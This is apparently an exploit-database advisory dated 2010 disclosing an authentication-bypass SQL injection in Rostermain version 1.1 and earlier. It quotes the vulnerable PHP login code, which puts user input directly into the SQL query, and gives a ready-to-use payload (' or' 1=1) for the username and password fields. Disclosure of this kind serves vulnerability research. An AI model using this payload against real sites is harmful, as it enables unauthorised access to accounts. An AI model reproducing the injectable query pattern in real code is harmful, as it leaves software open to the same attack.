Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability
# Published : 2010-02-07
# Author : cr4wl3r
# Previous Title : EncapsCMS <= 0.3.6 (config[path]) Remote File Include Vulnerability
# Next Title : Uiga Business Portal SQL/ XSS Vulnerability

[+] Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/games-and-entertainment/rostermain/


[+] Vuln Code : 

[index.php]

if ($_POST['userid'] && $_POST['password'])
{
  // if the user has just tried to log in
  $logquery = "select * from users "
           ."where username='$userid' "
           ." and passwd='$password' ";

[+] PoC : 

username :  ' or' 1=1
password :  ' or' 1=1